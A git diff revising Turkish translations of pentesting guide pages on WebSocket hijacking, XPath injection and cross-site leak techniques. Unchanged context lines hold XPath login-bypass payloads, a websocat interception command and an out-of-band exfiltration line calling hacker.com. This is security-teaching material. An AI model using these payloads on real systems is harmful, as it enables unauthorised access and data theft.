var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
`wss` protokolü, **TLS** ile güvenli bir WebSocket bağlantısını belirtirken, `ws` **güvensiz** bir bağlantıyı ifade eder.
|
||||
`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını belirtirken, `ws` **güvensiz** bir bağlantıyı ifade eder.
|
||||
|
||||
Bağlantı kurulumu sırasında, tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma (handshake) gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesi ile ilgilidir; aşağıdaki örneklerde gösterildiği gibi:
|
||||
Bağlantı kurulumu sırasında, tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma işlemi gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesi ile ilgilidir; aşağıdaki örneklerde gösterildiği gibi:
|
||||
|
||||
Tarayıcı bir el sıkışma isteği gönderir:
|
||||
```javascript
|
||||
@ -39,7 +39,7 @@ Bağlantı kurulduktan sonra, her iki yönde mesaj alışverişi için açık ka
|
||||
|
||||
- `Connection` ve `Upgrade` başlıkları, bir WebSocket el sıkışmasının başlatıldığını belirtir.
|
||||
- `Sec-WebSocket-Version` başlığı, genellikle `13` olan istenen WebSocket protokol sürümünü gösterir.
|
||||
- `Sec-WebSocket-Key` başlığında, her el sıkışmanın benzersiz olmasını sağlamak için Base64 kodlu rastgele bir değer gönderilir; bu, önbellek proxy'leriyle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
|
||||
- `Sec-WebSocket-Key` başlığında Base64 kodlu rastgele bir değer gönderilir; bu, her el sıkışmanın benzersiz olmasını sağlar ve önbellek proxy'leriyle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
|
||||
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir hash'idir ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
|
||||
|
||||
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar ve verimli gerçek zamanlı iletişim için zemin hazırlar.
|
||||
@ -56,23 +56,23 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### MitM websocket bağlantıları
|
||||
|
||||
Eğer istemcilerin mevcut yerel ağınızdan bir **HTTP websocket**'e bağlı olduğunu bulursanız, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) denemek isteyebilirsiniz.\
|
||||
Eğer istemcilerin mevcut yerel ağınızdan bir **HTTP websocket**'e bağlı olduğunu bulursanız, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) denemek isteyebilirsiniz.\
|
||||
İstemci sizinle bağlantı kurmaya çalıştığında, o zaman şunu kullanabilirsiniz:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
### Websockets enumeration
|
||||
|
||||
**Websockets**'ta bilinen **güvenlik açıklarını** otomatik olarak keşfetmek, parmak izi çıkarmak ve aramak için **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **kullanabilirsiniz.**
|
||||
**Websocket'lerde bilinen** **güvenlik açıklarını** **keşfetmek, parmak izi çıkarmak ve aramak için** **aracı** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **kullanabilirsiniz.**
|
||||
|
||||
### Websocket Debug tools
|
||||
|
||||
- **Burp Suite**, MitM websockets iletişimini, normal HTTP iletişimi için yaptığına çok benzer bir şekilde destekler.
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, **tarihçe** alarak, **yakalama kuralları** belirleyerek, **eşleşme ve değiştirme** kuralları kullanarak, **Intruder** ve **AutoRepeater** kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu araç, Node.js ile yazılmıştır ve **özelleştirilmiş** mesajları **yakalamak, kesmek, göndermek** ve istemci ile sunucu arasındaki tüm WebSocket ve Socket.IO iletişimlerini görüntülemek için bir kullanıcı arayüzü sağlar.
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, **geçmişi** alarak, **yakalama kuralları** belirleyerek, **eşleşme ve değiştirme** kurallarını kullanarak, **Intruder** ve **AutoRepeater** kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu araç, Node.js ile yazılmıştır ve **müşteri ile sunucu arasındaki tüm WebSocket ve Socket.IO iletişimlerini** **yakalamak, kesmek, özel** mesajlar göndermek ve görüntülemek için bir kullanıcı arayüzü sağlar.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış bir **etkileşimli websocket REPL**'dir. **Gelen websocket mesajlarını gözlemlemek ve yenilerini göndermek** için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kullanımı kolay bir çerçeve sunar. 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web**'dir.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türlerinin yanı sıra, diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web** sağlar.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) **websockets** kullanarak diğer weblerle iletişim kurmak için bir **web**'dir.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket), diğer iletişim/protokol türlerinin yanı sıra, **websockets** kullanarak diğer weblerle iletişim kurmak için bir **web** sağlar.
|
||||
|
||||
## Websocket Lab
|
||||
|
||||
@ -80,15 +80,15 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
**Cross-site WebSocket hijacking**, ayrıca **cross-origin WebSocket hijacking** olarak da bilinir, WebSocket el sıkışmalarını etkileyen **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin belirli bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla **CSRF tokenları** veya benzeri güvenlik önlemleri olmadan kimlik doğrulaması yaptığı durumlarda ortaya çıkar.
|
||||
**Cross-site WebSocket hijacking**, ayrıca **cross-origin WebSocket hijacking** olarak da bilinir, **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin WebSocket el sıkışmalarını etkileyen belirli bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla **CSRF token'ları** veya benzeri güvenlik önlemleri olmadan kimlik doğrulaması yaptığı durumlarda ortaya çıkar.
|
||||
|
||||
Saldırganlar, savunmasız bir uygulamaya çapraz alan WebSocket bağlantısı başlatan **kötü niyetli bir web sayfası** barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumu ile bir parça olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
|
||||
Saldırganlar, savunmasız bir uygulamaya çapraz alan WebSocket bağlantısı başlatan bir **kötü niyetli web sayfası** barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumu ile bir parça olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
|
||||
|
||||
### Simple Attack
|
||||
### Basit Saldırı
|
||||
|
||||
**Websocket** bağlantısı **kurulurken** **çerez** sunucuya **gönderilir**. **Sunucu**, her **belirli** **kullanıcıyı** gönderilen çereze dayalı olarak **websocket** **oturumu** ile **ilişkilendirmek** için bunu kullanıyor olabilir.
|
||||
**Websocket** bağlantısı **kurulurken** **çerez** sunucuya **gönderilir**. **Sunucu**, her **belirli** **kullanıcıyı** gönderilen çerez temelinde **websocket** **oturumu** ile **ilişkilendirmek** için bunu kullanıyor olabilir.
|
||||
|
||||
Daha sonra, **örneğin** **websocket** **sunucusu**, bir mesaj "**READY"** gönderildiğinde bir kullanıcının **konuşma tarihini** geri gönderirse, o zaman bağlantıyı kuran **basit bir XSS** (çerez **otomatik olarak** kurban kullanıcısını yetkilendirmek için **gönderilecektir**) **göndererek** "**READY**" **konuşma** tarihini **geri alabilecektir**.
|
||||
Daha sonra, **örneğin** **websocket** **sunucusu**, bir mesaj "**READY"** gönderildiğinde bir kullanıcının **konuşma geçmişini** geri gönderirse, o zaman bağlantıyı kuran **basit bir XSS** (çerez **otomatik olarak** kurban kullanıcısını yetkilendirmek için **gönderilecektir**) **"READY"** göndererek **konuşma** geçmişini **geri alabilecektir**.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -140,7 +140,7 @@ WebSocket'lerde Yarış Koşulları da bir durumdur, [daha fazla bilgi için bur
|
||||
|
||||
## Diğer zafiyetler
|
||||
|
||||
Web Sockets, **sunucu tarafına ve istemci tarafına veri göndermek için bir mekanizma** olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, **Web Sockets, bir websocket üzerinden bir kullanıcının girdiğini kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini istismar etmek için kullanılabilir.**
|
||||
Web Sockets, **verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma** olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, **Web Sockets, bir websocket üzerinden bir kullanıcının girdiğini kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini istismar etmek için kullanılabilir.**
|
||||
|
||||
## **WebSocket Kaçırma**
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@ XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine day
|
||||
|
||||
### XPath Örnekleri
|
||||
|
||||
Yol ifadeleri ve sonuçlarına örnekler şunlardır:
|
||||
Yol ifadeleri ve sonuçlarına dair örnekler şunlardır:
|
||||
|
||||
- **bookstore**: "bookstore" adındaki tüm düğümler seçilir.
|
||||
- **/bookstore**: Kök öğesi bookstore seçilir. Bir öğeye giden mutlak yolun, bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.
|
||||
@ -30,7 +30,7 @@ Yol ifadeleri ve sonuçlarına örnekler şunlardır:
|
||||
|
||||
### Koşulların Kullanımı
|
||||
|
||||
Koşullar, seçimleri daraltmak için kullanılır:
|
||||
Seçimleri daraltmak için koşullar kullanılır:
|
||||
|
||||
- **/bookstore/book\[1]**: bookstore öğesinin ilk book öğesi seçilir. IE 5'ten 9'a kadar olan sürümler için, ilk düğümü \[0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.
|
||||
- **/bookstore/book\[last()]**: bookstore öğesinin son book öğesi seçilir.
|
||||
@ -140,7 +140,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
|
||||
```
|
||||
## Kimlik Doğrulama Atlatma
|
||||
|
||||
### **Sorgu Örneği:**
|
||||
### **Sorgulara Örnek:**
|
||||
```
|
||||
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
||||
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
||||
@ -156,7 +156,7 @@ string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/accou
|
||||
Select account
|
||||
Select the account using the username and use one of the previous values in the password field
|
||||
```
|
||||
### **Null enjeksiyonunu kötüye kullanma**
|
||||
### **Null enjeksiyonunu istismar etme**
|
||||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
@ -186,7 +186,7 @@ string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/tex
|
||||
```
|
||||
## Dize çıkarımı
|
||||
|
||||
Çıktı, dizeleri içerir ve kullanıcı değerleri aramak için manipüle edebilir:
|
||||
Çıktı, dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:
|
||||
```
|
||||
/user/username[contains(., '+VALUE+')]
|
||||
```
|
||||
|
||||
@ -113,7 +113,7 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
|
||||
Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) olaylarını kullanarak ölçülebilir. **`beforeunload`** olayı, tarayıcının yeni bir sayfaya geçiş yapmadan önce tetiklenirken, **`unload`** olayı geçişin gerçekten gerçekleştiği anda meydana gelir. Bu iki olay arasındaki zaman farkı, **tarayıcının kaynağı almak için harcadığı süreyi** belirlemek için hesaplanabilir.
|
||||
|
||||
### Sandboxed Frame Zamanlaması + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
### Sandboxed Çerçeve Zamanlaması + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler
|
||||
- **Tespit Edilebilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
@ -136,7 +136,7 @@ Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org
|
||||
|
||||
Varsayalım ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleyebilirsiniz**.
|
||||
|
||||
**Kurbanın** "_**flag**_" içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF'yi istismar ederek). Iframe içinde _**onload olayı**_ her zaman en az bir kez **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz.
|
||||
**Kurbanın** "_**flag**_" içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF'yi istismar ederek). Iframe içinde _**onload olayı**_ her zaman **en az bir kez** **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz.
|
||||
|
||||
Örneğin:
|
||||
|
||||
@ -145,7 +145,7 @@ Varsayalım ki **iframe** içinde **gizli** içeriği olan **sayfayı** **ekleye
|
||||
|
||||
Eğer ilk URL **başarıyla yüklendiyse**, o zaman **URL**'nin **hash** kısmını **değiştirirken** **onload** olayı **tekrar tetiklenmeyecek**. Ama **eğer** sayfa **yüklenirken** bir tür **hata** almışsa, o zaman **onload** olayı **tekrar tetiklenecektir**.
|
||||
|
||||
Sonra, erişildiğinde **doğru** bir şekilde yüklenen sayfa ile **hata** olan sayfa arasında **ayrım** yapabilirsiniz.
|
||||
Sonra, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz.
|
||||
|
||||
### Javascript Execution
|
||||
|
||||
@ -161,7 +161,7 @@ xs-search/javascript-execution-xs-leak.md
|
||||
|
||||
### CORB - Onerror
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Durum Kodu & Başlıklar
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)**, web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir ve **Spectre** gibi saldırılara karşı koruma sağlar. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. **CORB**'ye tabi bir yanıt, `nosniff` ile birlikte _**CORB korumalı**_ `Content-Type` ve `2xx` durum kodu döndüğünde, **CORB** yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, **durum kodu** (başarı veya hata gösteren) ve `Content-Type` (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar.
|
||||
@ -177,44 +177,44 @@ Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin.
|
||||
- **Summary**: ID veya ad niteliğinden hassas verileri sızdırın.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
Bir **iframe** içinde bir **sayfayı** **yüklemek** ve sayfanın **belirtilen** öğeye **odaklanmasını** sağlamak için **`#id_value`** kullanmak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID öğesi vardır.\
|
||||
Bir **iframe** içinde bir **sayfayı** **yüklemek** ve sayfanın **belirtilen öğeye** odaklanmasını sağlamak için **`#id_value`** kullanmak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID öğesi var demektir.\
|
||||
Aynı saldırıyı **`portal`** etiketleri ile de gerçekleştirebilirsiniz.
|
||||
|
||||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-up'lar
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **Summary**: Bir postMessage'dan hassas bilgi toplayın veya postMessages'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanın.
|
||||
- **Summary**: Bir postMessage'dan hassas bilgileri toplayın veya postMessages'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanın.
|
||||
- **Code Example**: `Tüm postMessages'ı dinleyen herhangi bir kod.`
|
||||
|
||||
Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kökenler arasında iletişim kurmak için kullanır. Ancak, `targetOrigin` parametresi düzgün bir şekilde belirtilmezse, bu yöntem istemeden **hassas bilgileri** açığa çıkarabilir, bu da herhangi bir pencerenin mesajları almasına izin verir. Ayrıca, bir mesajı almanın kendisi bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının durumu veya kimliği hakkında bilgi verebilir, örneğin, oturum açıp açmadıkları gibi.
|
||||
Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kökenler arasında iletişim kurmak için kullanır. Ancak, bu yöntem `targetOrigin` parametresi düzgün bir şekilde belirtilmediğinde istemeden **hassas bilgileri** açığa çıkarabilir, bu da herhangi bir pencerenin mesajları almasına izin verir. Ayrıca, bir mesajı almanın kendisi bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının kimlik durumu hakkında bilgi verebilir, örneğin oturum açıp açmadıkları gibi.
|
||||
|
||||
## Global Limits Techniques
|
||||
|
||||
### WebSocket API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-up'lar
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: WebSocket bağlantı limitini tüketmek, bir çapraz kaynak sayfasının WebSocket bağlantılarının sayısını sızdırır.
|
||||
- **Summary**: WebSocket bağlantı limitini tüketmek, bir çapraz kaynak sayfasının WebSocket bağlantı sayısını sızdırır.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
Bir hedef sayfanın **WebSocket bağlantılarını** kullanıp kullanmadığını ve ne kadarını kullandığını belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgileri sızdırmasına olanak tanır.
|
||||
|
||||
Eğer bir **köken** **maksimum WebSocket** bağlantı nesnelerini kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına** yol açacaktır. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantılarının sayısıdır**.
|
||||
Eğer bir **origin** **maksimum WebSocket** bağlantı nesnelerini kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına** yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantı sayısıdır**.
|
||||
|
||||
### Payment API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-up'lar
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Sadece birinin aktif olabileceğini tespit et.
|
||||
- **Summary**: Sadece birinin aynı anda aktif olabileceğini tespit et.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Bu XS-Sızıntı, bir saldırganın **bir çapraz kaynak sayfasının bir ödeme talebi başlattığını tespit etmesine** olanak tanır.
|
||||
Bu XS-Leak, bir saldırganın **bir çapraz kaynak sayfasının bir ödeme talebi başlattığını tespit etmesine** olanak tanır.
|
||||
|
||||
Çünkü **sadece bir ödeme talebi aktif** olabileceğinden, eğer hedef web sitesi Payment Request API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **periyodik olarak Ödeme API'si UI'sını göstermeye çalışarak** bunu istismar edebilir. Eğer bir girişim bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik girişimleri gizleyebilir.
|
||||
Çünkü **aynı anda yalnızca bir ödeme talebi aktif olabilir**, eğer hedef web sitesi Payment Request API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **periyodik olarak Ödeme API'si UI'sını göstermeye çalışarak** bunu istismar edebilir. Eğer bir deneme bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik denemeleri gizleyebilir.
|
||||
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
@ -228,7 +228,7 @@ Bu XS-Sızıntı, bir saldırganın **bir çapraz kaynak sayfasının bir ödeme
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
{{#endref}}
|
||||
|
||||
JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **sadece bir görevi aynı anda gerçekleştirebileceği** anlamına gelir. Bu özellik, **farklı bir kökenden gelen kodun yürütülmesi için ne kadar zaman gerektiğini ölçmek** için istismar edilebilir. Bir saldırgan, sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun yürütme süresini olay döngüsünde ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenecektir. Eğer diğer kökenler de aynı havuza olay gönderiyorsa, bir **saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek bu dış olayların yürütülmesi için geçen süreyi çıkarabilir**. Gecikmeleri izleme yöntemi, farklı kökenlerden gelen kodun yürütme süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir.
|
||||
JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **sadece bir görevi aynı anda gerçekleştirebileceği** anlamına gelir. Bu özellik, **farklı bir kökenden gelen kodun yürütülmesi için ne kadar zaman gerektiğini ölçmek** için istismar edilebilir. Bir saldırgan, sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun yürütme süresini olay döngüsünde ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenecektir. Eğer diğer kökenler de aynı havuza olay gönderiyorsa, bir **saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek bu dış olayların yürütülmesi için geçen süreyi çıkarabilir**. Olay döngüsündeki gecikmeleri izleme yöntemi, farklı kökenlerden gelen kodun yürütme süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir yürütme zamanlamasında, **daha hassas ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
|
||||
@ -241,17 +241,17 @@ JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozill
|
||||
- **Summary:** Bir web işleminin yürütme süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından **olay döngüsünün tekrar kullanılabilir hale gelmesi için ne kadar sürdüğünü** zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun yürütülmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak yürütülür ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir.
|
||||
- **Code Example**:
|
||||
|
||||
Olay döngüsünün yürütme süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu aşma potansiyelidir. **Site İzolasyonu**, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kökenin yürütme zamanlamasını etkileyerek, o kökenin faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişime dayanmaz, aksine o kökenin faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece **Site İzolasyonu** tarafından oluşturulan koruyucu engellerden kaçınır.
|
||||
Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu aşma potansiyelidir. **Site İzolasyonu**, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kökenin yürütme zamanlamasını etkileyerek, o kökenin faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişim gerektirmez, bunun yerine o kökenin faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece **Site İzolasyonu** tarafından oluşturulan koruyucu engellerden kaçınır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir yürütme zamanlamasında, **daha hassas ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
|
||||
|
||||
### Connection Pool
|
||||
|
||||
- **Inclusion Methods**: JavaScript İstekleri
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef web'i yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başlaması için geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
|
||||
